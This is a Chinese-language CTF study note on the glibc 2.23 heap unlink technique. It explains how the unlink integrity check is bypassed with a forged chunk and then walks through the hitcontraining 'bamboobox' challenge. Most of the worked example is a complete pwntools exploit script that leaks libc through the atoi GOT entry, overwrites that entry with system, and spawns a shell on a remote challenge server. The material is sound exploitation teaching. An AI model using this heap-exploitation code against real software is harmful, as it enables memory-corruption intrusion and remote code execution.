学习于:
好好说话之unlink_unlink 操作什么时候发生-CSDN博客关于unlink的学习总结 | ZIKH26's Blog
https://bbs.kanxue.com/thread-273402.htm
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
首先就要搞懂unlink是什么，怎么构造unlink链，相关题目的思路和wp是什么，unlink用于将某一个空闲 chunk 从其所处的双向链表中脱链，我们来利用unlink 所造成的漏洞时，其实就是对进行 unlink chunk 进行内存布局，然后借助 unlink 操作来达成修改指针的效果。
一:unlink是什么
首先我们可以翻看glibc源码(2.23)来看看执行了什么操作，如下
首先执行这一段，FD!=P->fd是不是就等于*(FD+0x18)!=P，这样理解后面的构造就更好懂了
首先FD和BK都是通过P来寻找的， 我们要如何绕过这个检查呢，我们可以用一副图来更好的理解(64位为例子):
可以发现满足这个式子就可以做到
P->fd->bk == P <=> *(P->fd + 0x18) == P p->bk->fd == P <=> *(p->bk + 0x10) == P
那我们就将P的fd和bk改成下面就可以了，&P和P是不一样的，&P是指向P的地址，P就是P，如果&P是一个chunk的起始地址那么它就会被bss段记录下来
P->fd = &P - 0x18 P->bk = &P - 0x10
修改后如下图，就可以绕过if检查了
绕过之后执行
FD->bk = BK; BK->fd = FD;
带入刚刚的，那么等价于
P=&P-0x10 P=&P-0x18
所以最后P=&P-0x18。
二:怎么构造unlink链
首先我们要修改fd，那么至少需要堆溢出或者uaf之类的漏洞来伪造fake_chunk，通常申请两个堆块，在第一个chunk中伪造fake_chunk，再通过漏洞修改第二个chunk的prev_size=fake_chunk_size, PREV_INUSE = 0，再释放第二个chunk，完成后fake_chunk就会指向&fake_chunk-0x10，那我们是不是就控制了从&fake_chunk-0x10到&fake_chunk的地址，如果可以写，那我们就可以修改这一段地址了，相当于任意写。
三:例题训练（例题出处均来自ZIKH26师傅）
hitcontraining_unlink
首先检查保护机制，没有开pie，拖入ida中进行分析
change函数有溢出，没检查输入数据是否超过chunk大小
在ida里面寻找到bss段存放指针的地址是何地址
利用print打印函数地址来进行利用unlink，则思路就是伪造一个fake_chunk，然后free掉一个chunk，触发unlink，让fake_chunk的地址改为&p-0x18，此时往fake_chunk中写入数据，就相当于往bss段上写入数据，写入atoi函数的got表的地址，然后执行show函数泄露真实地址，再执行change函数，修改atoi函数的got表为system地址，最后输入/bin/sh获取shell。
from pwn import *
file_name = './bamboobox'
#io = process(file_name)
libc = ELF('./libc-2.23.so')
io = remote('node5.buuoj.cn',27355)
elf = ELF(file_name)
context(arch = elf.arch,log_level = 'debug',os = 'linux')
def ml_gdb():
gdb.attach(io)
pause(1)
def show():
io.recvuntil("Your choice:")
io.send('1')
def add(length,name):
io.recvuntil("Your choice:")
io.sendline('2')
io.recvuntil("Please enter the length of item name:")
io.sendline(str(length))
io.recvuntil("Please enter the name of item:")
io.sendline(name)
def edit(index,lenth,context):
io.recvuntil('Your choice:')
io.send('3')
io.recvuntil('Please enter the index of item:')
io.send(str(index))
io.recvuntil('Please enter the length of item name:')
io.send(str(lenth))
io.recvuntil('Please enter the new name of the item:')
io.send(context)
def delete(index):
io.recvuntil('Your choice:')
io.send('4')
io.recvuntil('Please enter the index of item:')
io.send(str(index))
add(0x20,b'aaaaaaa')
add(0x80,b'bbbbbbb')
add(0x80,b'cccccccc')
#ml_gdb()
ptr = 0x6020C8 #存放chunk指针的数组在bss段上的地址
fake_chunk = p64(0)+p64(0x21) #fake_chunk header
fake_chunk += p64(ptr-0x18)+p64(ptr-0x10) #fake_chunk fd bk
fake_chunk += p64(0x20) # 1的presize
fake_chunk += p64(0x90) # 1的size
edit(0,0x80,fake_chunk)
delete(1)
payload = p64(0) * 2
payload += p64(0x40) + p64(elf.got['atoi']) #覆盖为atoi_got
edit(0,0x80,payload)
show()
atoi_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("atoi_addr :",hex(atoi_addr))
'''
libc_base = atoi_addr - libc.symbols['atoi']
system = libc_base + libc.symbols['system']
edit(0,8,p64(system))
io.sendlineafter('Your choice:','/bin/sh\x00')
'''
libc_base = atoi_addr - 0x036e80
system_addr = libc_base + 0x045390
edit(0,0x10,p64(system_addr))
io.recvuntil('Your choice:')
io.send('/bin/sh\x00')
io.interactive()
例题等我补充ovo，如有问题请联系我。